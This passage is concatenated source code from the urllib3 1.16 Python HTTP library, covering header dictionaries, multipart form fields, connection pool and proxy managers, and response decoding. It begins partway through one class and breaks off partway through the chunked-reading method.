        '''D.pop(k[,d]) -> v, remove specified key and return the corresponding value.
          If key is not found, d is returned if given, otherwise KeyError is raised.
        '''
        # Using the MutableMapping function directly fails due to the private marker.
        # Using ordinary dict.pop would expose the internal structures.
        # So let's reinvent the wheel.
        try:
            value = self[key]
        except KeyError:
            if default is self.__marker:
                raise
            return default
        else:
            del self[key]
            return value

    def discard(self, key):
        try:
            del self[key]
        except KeyError:
            pass

    def add(self, key, val):
        """Adds a (name, value) pair, doesn't overwrite the value if it already
        exists.

        >>> headers = HTTPHeaderDict(foo='bar')
        >>> headers.add('Foo', 'baz')
        >>> headers['foo']
        'bar, baz'
        """
        key_lower = key.lower()
        new_vals = key, val
        # Keep the common case aka no item present as fast as possible
        vals = self._container.setdefault(key_lower, new_vals)
        if new_vals is not vals:
            # new_vals was not inserted, as there was a previous one
            if isinstance(vals, list):
                # If already several items got inserted, we have a list
                vals.append(val)
            else:
                # vals should be a tuple then, i.e. only one item so far
                # Need to convert the tuple to list for further extension
                self._container[key_lower] = [vals[0], vals[1], val]

    def extend(self, *args, **kwargs):
        """Generic import function for any type of header-like object.
        Adapted version of MutableMapping.update in order to insert items
        with self.add instead of self.__setitem__
        """
        if len(args) > 1:
            raise TypeError("extend() takes at most 1 positional "
                            "arguments ({0} given)".format(len(args)))
        other = args[0] if len(args) >= 1 else ()

        if isinstance(other, HTTPHeaderDict):
            for key, val in other.iteritems():
                self.add(key, val)
        elif isinstance(other, Mapping):
            for key in other:
                self.add(key, other[key])
        elif hasattr(other, "keys"):
            for key in other.keys():
                self.add(key, other[key])
        else:
            for key, value in other:
                self.add(key, value)

        for key, value in kwargs.items():
            self.add(key, value)

    def getlist(self, key):
        """Returns a list of all the values for the named field. Returns an
        empty list if the key doesn't exist."""
        try:
            vals = self._container[key.lower()]
        except KeyError:
            return []
        else:
            if isinstance(vals, tuple):
                return [vals[1]]
            else:
                return vals[1:]

    # Backwards compatibility for httplib
    getheaders = getlist
    getallmatchingheaders = getlist
    iget = getlist

    def __repr__(self):
        return "%s(%s)" % (type(self).__name__, dict(self.itermerged()))

    def _copy_from(self, other):
        for key in other:
            val = other.getlist(key)
            if isinstance(val, list):
                # Don't need to convert tuples
                val = list(val)
            self._container[key.lower()] = [key] + val

    def copy(self):
        clone = type(self)()
        clone._copy_from(self)
        return clone

    def iteritems(self):
        """Iterate over all header lines, including duplicate ones."""
        for key in self:
            vals = self._container[key.lower()]
            for val in vals[1:]:
                yield vals[0], val

    def itermerged(self):
        """Iterate over all headers, merging duplicate ones together."""
        for key in self:
            val = self._container[key.lower()]
            yield val[0], ', '.join(val[1:])

    def items(self):
        return list(self.iteritems())

    @classmethod
    def from_httplib(cls, message):  # Python 2
        """Read headers from a Python 2 httplib message object."""
        # python2.7 does not expose a proper API for exporting multiheaders
        # efficiently. This function re-reads raw lines from the message
        # object and extracts the multiheaders properly.
        headers = []

        for line in message.headers:
            if line.startswith((' ', '\t')):
                key, value = headers[-1]
                headers[-1] = (key, value + '\r\n' + line.rstrip())
                continue

            key, value = line.split(':', 1)
            headers.append((key, value.strip()))

        return cls(headers)






"""
urllib3 - Thread-safe connection pooling and re-using.
"""

from __future__ import absolute_import
import warnings

from .connectionpool import (
    HTTPConnectionPool,
    HTTPSConnectionPool,
    connection_from_url
)

from . import exceptions
from .filepost import encode_multipart_formdata
from .poolmanager import PoolManager, ProxyManager, proxy_from_url
from .response import HTTPResponse
from .util.request import make_headers
from .util.url import get_host
from .util.timeout import Timeout
from .util.retry import Retry


# Set default logging handler to avoid "No handler found" warnings.
import logging
try:  # Python 2.7+
    from logging import NullHandler
except ImportError:
    class NullHandler(logging.Handler):
        def emit(self, record):
            pass

__author__ = 'Andrey Petrov (andrey.petrov@shazow.net)'
__license__ = 'MIT'
__version__ = '1.16'

__all__ = (
    'HTTPConnectionPool',
    'HTTPSConnectionPool',
    'PoolManager',
    'ProxyManager',
    'HTTPResponse',
    'Retry',
    'Timeout',
    'add_stderr_logger',
    'connection_from_url',
    'disable_warnings',
    'encode_multipart_formdata',
    'get_host',
    'make_headers',
    'proxy_from_url',
)

logging.getLogger(__name__).addHandler(NullHandler())


def add_stderr_logger(level=logging.DEBUG):
    """
    Helper for quickly adding a StreamHandler to the logger. Useful for
    debugging.

    Returns the handler after adding it.
    """
    # This method needs to be in this __init__.py to get the __name__ correct
    # even if urllib3 is vendored within another package.
    logger = logging.getLogger(__name__)
    handler = logging.StreamHandler()
    handler.setFormatter(logging.Formatter('%(asctime)s %(levelname)s %(message)s'))
    logger.addHandler(handler)
    logger.setLevel(level)
    logger.debug('Added a stderr logging handler to logger: %s', __name__)
    return handler

# ... Clean up.
del NullHandler


# All warning filters *must* be appended unless you're really certain that they
# shouldn't be: otherwise, it's very hard for users to use most Python
# mechanisms to silence them.
# SecurityWarning's always go off by default.
warnings.simplefilter('always', exceptions.SecurityWarning, append=True)
# SubjectAltNameWarning's should go off once per host
warnings.simplefilter('default', exceptions.SubjectAltNameWarning, append=True)
# InsecurePlatformWarning's don't vary between requests, so we keep it default.
warnings.simplefilter('default', exceptions.InsecurePlatformWarning,
                      append=True)
# SNIMissingWarnings should go off only once.
warnings.simplefilter('default', exceptions.SNIMissingWarning, append=True)


def disable_warnings(category=exceptions.HTTPWarning):
    """
    Helper for quickly disabling all urllib3 warnings.
    """
    warnings.simplefilter('ignore', category)






from __future__ import absolute_import
import email.utils
import mimetypes

from .packages import six


def guess_content_type(filename, default='application/octet-stream'):
    """
    Guess the "Content-Type" of a file.

    :param filename:
        The filename to guess the "Content-Type" of using :mod:`mimetypes`.
    :param default:
        If no "Content-Type" can be guessed, default to `default`.
    """
    if filename:
        return mimetypes.guess_type(filename)[0] or default
    return default


def format_header_param(name, value):
    """
    Helper function to format and quote a single header parameter.

    Particularly useful for header parameters which might contain
    non-ASCII values, like file names. This follows RFC 2231, as
    suggested by RFC 2388 Section 4.4.

    :param name:
        The name of the parameter, a string expected to be ASCII only.
    :param value:
        The value of the parameter, provided as a unicode string.
    """
    if not any(ch in value for ch in '"\\\r\n'):
        result = '%s="%s"' % (name, value)
        try:
            result.encode('ascii')
        except (UnicodeEncodeError, UnicodeDecodeError):
            pass
        else:
            return result
    if not six.PY3 and isinstance(value, six.text_type):  # Python 2:
        value = value.encode('utf-8')
    value = email.utils.encode_rfc2231(value, 'utf-8')
    value = '%s*=%s' % (name, value)
    return value


class RequestField(object):
    """
    A data container for request body parameters.

    :param name:
        The name of this request field.
    :param data:
        The data/value body.
    :param filename:
        An optional filename of the request field.
    :param headers:
        An optional dict-like object of headers to initially use for the field.
    """
    def __init__(self, name, data, filename=None, headers=None):
        self._name = name
        self._filename = filename
        self.data = data
        self.headers = {}
        if headers:
            self.headers = dict(headers)

    @classmethod
    def from_tuples(cls, fieldname, value):
        """
        A :class:`~urllib3.fields.RequestField` factory from old-style tuple parameters.

        Supports constructing :class:`~urllib3.fields.RequestField` from
        parameter of key/value strings AND key/filetuple. A filetuple is a
        (filename, data, MIME type) tuple where the MIME type is optional.
        For example::

            'foo': 'bar',
            'fakefile': ('foofile.txt', 'contents of foofile'),
            'realfile': ('barfile.txt', open('realfile').read()),
            'typedfile': ('bazfile.bin', open('bazfile').read(), 'image/jpeg'),
            'nonamefile': 'contents of nonamefile field',

        Field names and filenames must be unicode.
        """
        if isinstance(value, tuple):
            if len(value) == 3:
                filename, data, content_type = value
            else:
                filename, data = value
                content_type = guess_content_type(filename)
        else:
            filename = None
            content_type = None
            data = value

        request_param = cls(fieldname, data, filename=filename)
        request_param.make_multipart(content_type=content_type)

        return request_param

    def _render_part(self, name, value):
        """
        Overridable helper function to format a single header parameter.

        :param name:
            The name of the parameter, a string expected to be ASCII only.
        :param value:
            The value of the parameter, provided as a unicode string.
        """
        return format_header_param(name, value)

    def _render_parts(self, header_parts):
        """
        Helper function to format and quote a single header.

        Useful for single headers that are composed of multiple items. E.g.,
        'Content-Disposition' fields.

        :param header_parts:
            A sequence of (k, v) typles or a :class:`dict` of (k, v) to format
            as `k1="v1"; k2="v2"; ...`.
        """
        parts = []
        iterable = header_parts
        if isinstance(header_parts, dict):
            iterable = header_parts.items()

        for name, value in iterable:
            if value:
                parts.append(self._render_part(name, value))

        return '; '.join(parts)

    def render_headers(self):
        """
        Renders the headers for this request field.
        """
        lines = []

        sort_keys = ['Content-Disposition', 'Content-Type', 'Content-Location']
        for sort_key in sort_keys:
            if self.headers.get(sort_key, False):
                lines.append('%s: %s' % (sort_key, self.headers[sort_key]))

        for header_name, header_value in self.headers.items():
            if header_name not in sort_keys:
                if header_value:
                    lines.append('%s: %s' % (header_name, header_value))

        lines.append('\r\n')
        return '\r\n'.join(lines)

    def make_multipart(self, content_disposition=None, content_type=None,
                       content_location=None):
        """
        Makes this request field into a multipart request field.

        This method overrides "Content-Disposition", "Content-Type" and
        "Content-Location" headers to the request parameter.

        :param content_type:
            The 'Content-Type' of the request body.
        :param content_location:
            The 'Content-Location' of the request body.

        """
        self.headers['Content-Disposition'] = content_disposition or 'form-data'
        self.headers['Content-Disposition'] += '; '.join([
            '', self._render_parts(
                (('name', self._name), ('filename', self._filename))
            )
        ])
        self.headers['Content-Type'] = content_type
        self.headers['Content-Location'] = content_location






from __future__ import absolute_import
import collections
import functools
import logging

try:  # Python 3
    from urllib.parse import urljoin
except ImportError:
    from urlparse import urljoin

from ._collections import RecentlyUsedContainer
from .connectionpool import HTTPConnectionPool, HTTPSConnectionPool
from .connectionpool import port_by_scheme
from .exceptions import LocationValueError, MaxRetryError, ProxySchemeUnknown
from .request import RequestMethods
from .util.url import parse_url
from .util.retry import Retry


__all__ = ['PoolManager', 'ProxyManager', 'proxy_from_url']


log = logging.getLogger(__name__)

SSL_KEYWORDS = ('key_file', 'cert_file', 'cert_reqs', 'ca_certs',
                'ssl_version', 'ca_cert_dir')

# The base fields to use when determining what pool to get a connection from;
# these do not rely on the ``connection_pool_kw`` and can be determined by the
# URL and potentially the ``urllib3.connection.port_by_scheme`` dictionary.
#
# All custom key schemes should include the fields in this key at a minimum.
BasePoolKey = collections.namedtuple('BasePoolKey', ('scheme', 'host', 'port'))

# The fields to use when determining what pool to get a HTTP and HTTPS
# connection from. All additional fields must be present in the PoolManager's
# ``connection_pool_kw`` instance variable.
HTTPPoolKey = collections.namedtuple(
    'HTTPPoolKey', BasePoolKey._fields + ('timeout', 'retries', 'strict',
                                          'block', 'source_address')
)
HTTPSPoolKey = collections.namedtuple(
    'HTTPSPoolKey', HTTPPoolKey._fields + SSL_KEYWORDS
)


def _default_key_normalizer(key_class, request_context):
    """
    Create a pool key of type ``key_class`` for a request.

    According to RFC 3986, both the scheme and host are case-insensitive.
    Therefore, this function normalizes both before constructing the pool
    key for an HTTPS request. If you wish to change this behaviour, provide
    alternate callables to ``key_fn_by_scheme``.

    :param key_class:
        The class to use when constructing the key. This should be a namedtuple
        with the ``scheme`` and ``host`` keys at a minimum.

    :param request_context:
        A dictionary-like object that contain the context for a request.
        It should contain a key for each field in the :class:`HTTPPoolKey`
    """
    context = {}
    for key in key_class._fields:
        context[key] = request_context.get(key)
    context['scheme'] = context['scheme'].lower()
    context['host'] = context['host'].lower()
    return key_class(**context)


# A dictionary that maps a scheme to a callable that creates a pool key.
# This can be used to alter the way pool keys are constructed, if desired.
# Each PoolManager makes a copy of this dictionary so they can be configured
# globally here, or individually on the instance.
key_fn_by_scheme = {
    'http': functools.partial(_default_key_normalizer, HTTPPoolKey),
    'https': functools.partial(_default_key_normalizer, HTTPSPoolKey),
}

pool_classes_by_scheme = {
    'http': HTTPConnectionPool,
    'https': HTTPSConnectionPool,
}


class PoolManager(RequestMethods):
    """
    Allows for arbitrary requests while transparently keeping track of
    necessary connection pools for you.

    :param num_pools:
        Number of connection pools to cache before discarding the least
        recently used pool.

    :param headers:
        Headers to include with all requests, unless other headers are given
        explicitly.

    :param \**connection_pool_kw:
        Additional parameters are used to create fresh
        :class:`urllib3.connectionpool.ConnectionPool` instances.

    Example::

        >>> manager = PoolManager(num_pools=2)
        >>> r = manager.request('GET', 'http://google.com/')
        >>> r = manager.request('GET', 'http://google.com/mail')
        >>> r = manager.request('GET', 'http://yahoo.com/')
        >>> len(manager.pools)
        2

    """

    proxy = None

    def __init__(self, num_pools=10, headers=None, **connection_pool_kw):
        RequestMethods.__init__(self, headers)
        self.connection_pool_kw = connection_pool_kw
        self.pools = RecentlyUsedContainer(num_pools,
                                           dispose_func=lambda p: p.close())

        # Locally set the pool classes and keys so other PoolManagers can
        # override them.
        self.pool_classes_by_scheme = pool_classes_by_scheme
        self.key_fn_by_scheme = key_fn_by_scheme.copy()

    def __enter__(self):
        return self

    def __exit__(self, exc_type, exc_val, exc_tb):
        self.clear()
        # Return False to re-raise any potential exceptions
        return False

    def _new_pool(self, scheme, host, port):
        """
        Create a new :class:`ConnectionPool` based on host, port and scheme.

        This method is used to actually create the connection pools handed out
        by :meth:`connection_from_url` and companion methods. It is intended
        to be overridden for customization.
        """
        pool_cls = self.pool_classes_by_scheme[scheme]
        kwargs = self.connection_pool_kw
        if scheme == 'http':
            kwargs = self.connection_pool_kw.copy()
            for kw in SSL_KEYWORDS:
                kwargs.pop(kw, None)

        return pool_cls(host, port, **kwargs)

    def clear(self):
        """
        Empty our store of pools and direct them all to close.

        This will not affect in-flight connections, but they will not be
        re-used after completion.
        """
        self.pools.clear()

    def connection_from_host(self, host, port=None, scheme='http'):
        """
        Get a :class:`ConnectionPool` based on the host, port, and scheme.

        If ``port`` isn't given, it will be derived from the ``scheme`` using
        ``urllib3.connectionpool.port_by_scheme``.
        """

        if not host:
            raise LocationValueError("No host specified.")

        request_context = self.connection_pool_kw.copy()
        request_context['scheme'] = scheme or 'http'
        if not port:
            port = port_by_scheme.get(request_context['scheme'].lower(), 80)
        request_context['port'] = port
        request_context['host'] = host

        return self.connection_from_context(request_context)

    def connection_from_context(self, request_context):
        """
        Get a :class:`ConnectionPool` based on the request context.

        ``request_context`` must at least contain the ``scheme`` key and its
        value must be a key in ``key_fn_by_scheme`` instance variable.
        """
        scheme = request_context['scheme'].lower()
        pool_key_constructor = self.key_fn_by_scheme[scheme]
        pool_key = pool_key_constructor(request_context)

        return self.connection_from_pool_key(pool_key)

    def connection_from_pool_key(self, pool_key):
        """
        Get a :class:`ConnectionPool` based on the provided pool key.

        ``pool_key`` should be a namedtuple that only contains immutable
        objects. At a minimum it must have the ``scheme``, ``host``, and
        ``port`` fields.
        """
        with self.pools.lock:
            # If the scheme, host, or port doesn't match existing open
            # connections, open a new ConnectionPool.
            pool = self.pools.get(pool_key)
            if pool:
                return pool

            # Make a fresh ConnectionPool of the desired type
            pool = self._new_pool(pool_key.scheme, pool_key.host, pool_key.port)
            self.pools[pool_key] = pool

        return pool

    def connection_from_url(self, url):
        """
        Similar to :func:`urllib3.connectionpool.connection_from_url` but
        doesn't pass any additional parameters to the
        :class:`urllib3.connectionpool.ConnectionPool` constructor.

        Additional parameters are taken from the :class:`.PoolManager`
        constructor.
        """
        u = parse_url(url)
        return self.connection_from_host(u.host, port=u.port, scheme=u.scheme)

    def urlopen(self, method, url, redirect=True, **kw):
        """
        Same as :meth:`urllib3.connectionpool.HTTPConnectionPool.urlopen`
        with custom cross-host redirect logic and only sends the request-uri
        portion of the ``url``.

        The given ``url`` parameter must be absolute, such that an appropriate
        :class:`urllib3.connectionpool.ConnectionPool` can be chosen for it.
        """
        u = parse_url(url)
        conn = self.connection_from_host(u.host, port=u.port, scheme=u.scheme)

        kw['assert_same_host'] = False
        kw['redirect'] = False
        if 'headers' not in kw:
            kw['headers'] = self.headers

        if self.proxy is not None and u.scheme == "http":
            response = conn.urlopen(method, url, **kw)
        else:
            response = conn.urlopen(method, u.request_uri, **kw)

        redirect_location = redirect and response.get_redirect_location()
        if not redirect_location:
            return response

        # Support relative URLs for redirecting.
        redirect_location = urljoin(url, redirect_location)

        # RFC 7231, Section 6.4.4
        if response.status == 303:
            method = 'GET'

        retries = kw.get('retries')
        if not isinstance(retries, Retry):
            retries = Retry.from_int(retries, redirect=redirect)

        try:
            retries = retries.increment(method, url, response=response, _pool=conn)
        except MaxRetryError:
            if retries.raise_on_redirect:
                raise
            return response

        kw['retries'] = retries
        kw['redirect'] = redirect

        log.info("Redirecting %s -> %s", url, redirect_location)
        return self.urlopen(method, redirect_location, **kw)


class ProxyManager(PoolManager):
    """
    Behaves just like :class:`PoolManager`, but sends all requests through
    the defined proxy, using the CONNECT method for HTTPS URLs.

    :param proxy_url:
        The URL of the proxy to be used.

    :param proxy_headers:
        A dictionary contaning headers that will be sent to the proxy. In case
        of HTTP they are being sent with each request, while in the
        HTTPS/CONNECT case they are sent only once. Could be used for proxy
        authentication.

    Example:
        >>> proxy = urllib3.ProxyManager('http://localhost:3128/')
        >>> r1 = proxy.request('GET', 'http://google.com/')
        >>> r2 = proxy.request('GET', 'http://httpbin.org/')
        >>> len(proxy.pools)
        1
        >>> r3 = proxy.request('GET', 'https://httpbin.org/')
        >>> r4 = proxy.request('GET', 'https://twitter.com/')
        >>> len(proxy.pools)
        3

    """

    def __init__(self, proxy_url, num_pools=10, headers=None,
                 proxy_headers=None, **connection_pool_kw):

        if isinstance(proxy_url, HTTPConnectionPool):
            proxy_url = '%s://%s:%i' % (proxy_url.scheme, proxy_url.host,
                                        proxy_url.port)
        proxy = parse_url(proxy_url)
        if not proxy.port:
            port = port_by_scheme.get(proxy.scheme, 80)
            proxy = proxy._replace(port=port)

        if proxy.scheme not in ("http", "https"):
            raise ProxySchemeUnknown(proxy.scheme)

        self.proxy = proxy
        self.proxy_headers = proxy_headers or {}

        connection_pool_kw['_proxy'] = self.proxy
        connection_pool_kw['_proxy_headers'] = self.proxy_headers

        super(ProxyManager, self).__init__(
            num_pools, headers, **connection_pool_kw)

    def connection_from_host(self, host, port=None, scheme='http'):
        if scheme == "https":
            return super(ProxyManager, self).connection_from_host(
                host, port, scheme)

        return super(ProxyManager, self).connection_from_host(
            self.proxy.host, self.proxy.port, self.proxy.scheme)

    def _set_proxy_headers(self, url, headers=None):
        """
        Sets headers needed by proxies: specifically, the Accept and Host
        headers. Only sets headers not provided by the user.
        """
        headers_ = {'Accept': '*/*'}

        netloc = parse_url(url).netloc
        if netloc:
            headers_['Host'] = netloc

        if headers:
            headers_.update(headers)
        return headers_

    def urlopen(self, method, url, redirect=True, **kw):
        "Same as HTTP(S)ConnectionPool.urlopen, ``url`` must be absolute."
        u = parse_url(url)

        if u.scheme == "http":
            # For proxied HTTPS requests, httplib sets the necessary headers
            # on the CONNECT to the proxy. For HTTP, we'll definitely
            # need to set 'Host' at the very least.
            headers = kw.get('headers', self.headers)
            kw['headers'] = self._set_proxy_headers(url, headers)

        return super(ProxyManager, self).urlopen(method, url, redirect=redirect, **kw)


def proxy_from_url(url, **kw):
    return ProxyManager(proxy_url=url, **kw)






from __future__ import absolute_import
from contextlib import contextmanager
import zlib
import io
from socket import timeout as SocketTimeout
from socket import error as SocketError

from ._collections import HTTPHeaderDict
from .exceptions import (
    ProtocolError, DecodeError, ReadTimeoutError, ResponseNotChunked
)
from .packages.six import string_types as basestring, binary_type, PY3
from .packages.six.moves import http_client as httplib
from .connection import HTTPException, BaseSSLError
from .util.response import is_fp_closed, is_response_to_head


class DeflateDecoder(object):

    def __init__(self):
        self._first_try = True
        self._data = binary_type()
        self._obj = zlib.decompressobj()

    def __getattr__(self, name):
        return getattr(self._obj, name)

    def decompress(self, data):
        if not data:
            return data

        if not self._first_try:
            return self._obj.decompress(data)

        self._data += data
        try:
            return self._obj.decompress(data)
        except zlib.error:
            self._first_try = False
            self._obj = zlib.decompressobj(-zlib.MAX_WBITS)
            try:
                return self.decompress(self._data)
            finally:
                self._data = None


class GzipDecoder(object):

    def __init__(self):
        self._obj = zlib.decompressobj(16 + zlib.MAX_WBITS)

    def __getattr__(self, name):
        return getattr(self._obj, name)

    def decompress(self, data):
        if not data:
            return data
        return self._obj.decompress(data)


def _get_decoder(mode):
    if mode == 'gzip':
        return GzipDecoder()

    return DeflateDecoder()


class HTTPResponse(io.IOBase):
    """
    HTTP Response container.

    Backwards-compatible to httplib's HTTPResponse but the response ``body`` is
    loaded and decoded on-demand when the ``data`` property is accessed.  This
    class is also compatible with the Python standard library's :mod:`io`
    module, and can hence be treated as a readable object in the context of that
    framework.

    Extra parameters for behaviour not present in httplib.HTTPResponse:

    :param preload_content:
        If True, the response's body will be preloaded during construction.

    :param decode_content:
        If True, attempts to decode specific content-encoding's based on headers
        (like 'gzip' and 'deflate') will be skipped and raw data will be used
        instead.

    :param original_response:
        When this HTTPResponse wrapper is generated from an httplib.HTTPResponse
        object, it's convenient to include the original for debug purposes. It's
        otherwise unused.
    """

    CONTENT_DECODERS = ['gzip', 'deflate']
    REDIRECT_STATUSES = [301, 302, 303, 307, 308]

    def __init__(self, body='', headers=None, status=0, version=0, reason=None,
                 strict=0, preload_content=True, decode_content=True,
                 original_response=None, pool=None, connection=None):

        if isinstance(headers, HTTPHeaderDict):
            self.headers = headers
        else:
            self.headers = HTTPHeaderDict(headers)
        self.status = status
        self.version = version
        self.reason = reason
        self.strict = strict
        self.decode_content = decode_content

        self._decoder = None
        self._body = None
        self._fp = None
        self._original_response = original_response
        self._fp_bytes_read = 0

        if body and isinstance(body, (basestring, binary_type)):
            self._body = body

        self._pool = pool
        self._connection = connection

        if hasattr(body, 'read'):
            self._fp = body

        # Are we using the chunked-style of transfer encoding?
        self.chunked = False
        self.chunk_left = None
        tr_enc = self.headers.get('transfer-encoding', '').lower()
        # Don't incur the penalty of creating a list and then discarding it
        encodings = (enc.strip() for enc in tr_enc.split(","))
        if "chunked" in encodings:
            self.chunked = True

        # If requested, preload the body.
        if preload_content and not self._body:
            self._body = self.read(decode_content=decode_content)

    def get_redirect_location(self):
        """
        Should we redirect and where to?

        :returns: Truthy redirect location string if we got a redirect status
            code and valid location. ``None`` if redirect status and no
            location. ``False`` if not a redirect status code.
        """
        if self.status in self.REDIRECT_STATUSES:
            return self.headers.get('location')

        return False

    def release_conn(self):
        if not self._pool or not self._connection:
            return

        self._pool._put_conn(self._connection)
        self._connection = None

    @property
    def data(self):
        # For backwords-compat with earlier urllib3 0.4 and earlier.
        if self._body:
            return self._body

        if self._fp:
            return self.read(cache_content=True)

    @property
    def connection(self):
        return self._connection

    def tell(self):
        """
        Obtain the number of bytes pulled over the wire so far. May differ from
        the amount of content returned by :meth:``HTTPResponse.read`` if bytes
        are encoded on the wire (e.g, compressed).
        """
        return self._fp_bytes_read

    def _init_decoder(self):
        """
        Set-up the _decoder attribute if necessar.
        """
        # Note: content-encoding value should be case-insensitive, per RFC 7230
        # Section 3.2
        content_encoding = self.headers.get('content-encoding', '').lower()
        if self._decoder is None and content_encoding in self.CONTENT_DECODERS:
            self._decoder = _get_decoder(content_encoding)

    def _decode(self, data, decode_content, flush_decoder):
        """
        Decode the data passed in and potentially flush the decoder.
        """
        try:
            if decode_content and self._decoder:
                data = self._decoder.decompress(data)
        except (IOError, zlib.error) as e:
            content_encoding = self.headers.get('content-encoding', '').lower()
            raise DecodeError(
                "Received response with content-encoding: %s, but "
                "failed to decode it." % content_encoding, e)

        if flush_decoder and decode_content:
            data += self._flush_decoder()

        return data

    def _flush_decoder(self):
        """
        Flushes the decoder. Should only be called if the decoder is actually
        being used.
        """
        if self._decoder:
            buf = self._decoder.decompress(b'')
            return buf + self._decoder.flush()

        return b''

    @contextmanager
    def _error_catcher(self):
        """
        Catch low-level python exceptions, instead re-raising urllib3
        variants, so that low-level exceptions are not leaked in the
        high-level api.

        On exit, release the connection back to the pool.
        """
        clean_exit = False

        try:
            try:
                yield

            except SocketTimeout:
                # FIXME: Ideally we'd like to include the url in the ReadTimeoutError but
                # there is yet no clean way to get at it from this context.
                raise ReadTimeoutError(self._pool, None, 'Read timed out.')

            except BaseSSLError as e:
                # FIXME: Is there a better way to differentiate between SSLErrors?
                if 'read operation timed out' not in str(e):  # Defensive:
                    # This shouldn't happen but just in case we're missing an edge
                    # case, let's avoid swallowing SSL errors.
                    raise

                raise ReadTimeoutError(self._pool, None, 'Read timed out.')

            except (HTTPException, SocketError) as e:
                # This includes IncompleteRead.
                raise ProtocolError('Connection broken: %r' % e, e)

            # If no exception is thrown, we should avoid cleaning up
            # unnecessarily.
            clean_exit = True
        finally:
            # If we didn't terminate cleanly, we need to throw away our
            # connection.
            if not clean_exit:
                # The response may not be closed but we're not going to use it
                # anymore so close it now to ensure that the connection is
                # released back to the pool.
                if self._original_response:
                    self._original_response.close()

                # Closing the response may not actually be sufficient to close
                # everything, so if we have a hold of the connection close that
                # too.
                if self._connection:
                    self._connection.close()

            # If we hold the original response but it's closed now, we should
            # return the connection back to the pool.
            if self._original_response and self._original_response.isclosed():
                self.release_conn()

    def read(self, amt=None, decode_content=None, cache_content=False):
        """
        Similar to :meth:`httplib.HTTPResponse.read`, but with two additional
        parameters: ``decode_content`` and ``cache_content``.

        :param amt:
            How much of the content to read. If specified, caching is skipped
            because it doesn't make sense to cache partial content as the full
            response.

        :param decode_content:
            If True, will attempt to decode the body based on the
            'content-encoding' header.

        :param cache_content:
            If True, will save the returned data such that the same result is
            returned despite of the state of the underlying file object. This
            is useful if you want the ``.data`` property to continue working
            after having ``.read()`` the file object. (Overridden if ``amt`` is
            set.)
        """
        self._init_decoder()
        if decode_content is None:
            decode_content = self.decode_content

        if self._fp is None:
            return

        flush_decoder = False
        data = None

        with self._error_catcher():
            if amt is None:
                # cStringIO doesn't like amt=None
                data = self._fp.read()
                flush_decoder = True
            else:
                cache_content = False
                data = self._fp.read(amt)
                if amt != 0 and not data:  # Platform-specific: Buggy versions of Python.
                    # Close the connection when no data is returned
                    #
                    # This is redundant to what httplib/http.client _should_
                    # already do.  However, versions of python released before
                    # December 15, 2012 (http://bugs.python.org/issue16298) do
                    # not properly close the connection in all cases. There is
                    # no harm in redundantly calling close.
                    self._fp.close()
                    flush_decoder = True

        if data:
            self._fp_bytes_read += len(data)

            data = self._decode(data, decode_content, flush_decoder)

            if cache_content:
                self._body = data

        return data

    def stream(self, amt=2**16, decode_content=None):
        """
        A generator wrapper for the read() method. A call will block until
        ``amt`` bytes have been read from the connection or until the
        connection is closed.

        :param amt:
            How much of the content to read. The generator will return up to
            much data per iteration, but may return less. This is particularly
            likely when using compressed data. However, the empty string will
            never be returned.

        :param decode_content:
            If True, will attempt to decode the body based on the
            'content-encoding' header.
        """
        if self.chunked:
            for line in self.read_chunked(amt, decode_content=decode_content):
                yield line
        else:
            while not is_fp_closed(self._fp):
                data = self.read(amt=amt, decode_content=decode_content)

                if data:
                    yield data

    @classmethod
    def from_httplib(ResponseCls, r, **response_kw):
        """
        Given an :class:`httplib.HTTPResponse` instance ``r``, return a
        corresponding :class:`urllib3.response.HTTPResponse` object.

        Remaining parameters are passed to the HTTPResponse constructor, along
        with ``original_response=r``.
        """
        headers = r.msg

        if not isinstance(headers, HTTPHeaderDict):
            if PY3:  # Python 3
                headers = HTTPHeaderDict(headers.items())
            else:  # Python 2
                headers = HTTPHeaderDict.from_httplib(headers)

        # HTTPResponse objects in Python 3 don't have a .strict attribute
        strict = getattr(r, 'strict', 0)
        resp = ResponseCls(body=r,
                           headers=headers,
                           status=r.status,
                           version=r.version,
                           reason=r.reason,
                           strict=strict,
                           original_response=r,
                           **response_kw)
        return resp

    # Backwards-compatibility methods for httplib.HTTPResponse
    def getheaders(self):
        return self.headers

    def getheader(self, name, default=None):
        return self.headers.get(name, default)

    # Overrides from io.IOBase
    def close(self):
        if not self.closed:
            self._fp.close()

        if self._connection:
            self._connection.close()

    @property
    def closed(self):
        if self._fp is None:
            return True
        elif hasattr(self._fp, 'closed'):
            return self._fp.closed
        elif hasattr(self._fp, 'isclosed'):  # Python 2
            return self._fp.isclosed()
        else:
            return True

    def fileno(self):
        if self._fp is None:
            raise IOError("HTTPResponse has no file to get a fileno from")
        elif hasattr(self._fp, "fileno"):
            return self._fp.fileno()
        else:
            raise IOError("The file-like object this HTTPResponse is wrapped "
                          "around has no file descriptor")

    def flush(self):
        if self._fp is not None and hasattr(self._fp, 'flush'):
            return self._fp.flush()

    def readable(self):
        # This method is required for `io` module compatibility.
        return True

    def readinto(self, b):
        # This method is required for `io` module compatibility.
        temp = self.read(len(b))
        if len(temp) == 0:
            return 0
        else:
            b[:len(temp)] = temp
            return len(temp)

    def _update_chunk_length(self):
        # First, we'll figure out length of a chunk and then
        # we'll try to read it from socket.
        if self.chunk_left is not None:
            return
        line = self._fp.fp.readline()
        line = line.split(b';', 1)[0]
        try:
            self.chunk_left = int(line, 16)
        except ValueError:
            # Invalid chunked protocol response, abort.
            self.close()
            raise httplib.IncompleteRead(line)

    def _handle_chunk(self, amt):
        returned_chunk = None
        if amt is None:
            chunk = self._fp._safe_read(self.chunk_left)
            returned_chunk = chunk
            self._fp._safe_read(2)  # Toss the CRLF at the end of the chunk.
            self.chunk_left = None
        elif amt < self.chunk_left:
            value = self._fp._safe_read(amt)
            self.chunk_left = self.chunk_left - amt
            returned_chunk = value
        elif amt == self.chunk_left:
            value = self._fp._safe_read(amt)
            self._fp._safe_read(2)  # Toss the CRLF at the end of the chunk.
            self.chunk_left = None
            returned_chunk = value
        else:  # amt > self.chunk_left
            returned_chunk = self._fp._safe_read(self.chunk_left)
            self._fp._safe_read(2)  # Toss the CRLF at the end of the chunk.
            self.chunk_left = None
        return returned_chunk

    def read_chunked(self, amt=None, decode_content=None):
        """
        Similar to :meth:`HTTPResponse.read`, but with an additional
        parameter: ``decode_content``.

        :param decode_content:
            If True, will attempt to decode the body based on the
            'content-encoding' header.
        """
        self._init_decoder()
        # FIXME: Rewrite this method and make it a class with a better structured logic.
        if not self.chunked:
            raise ResponseNotChunked(
                "Response is not chunked. "
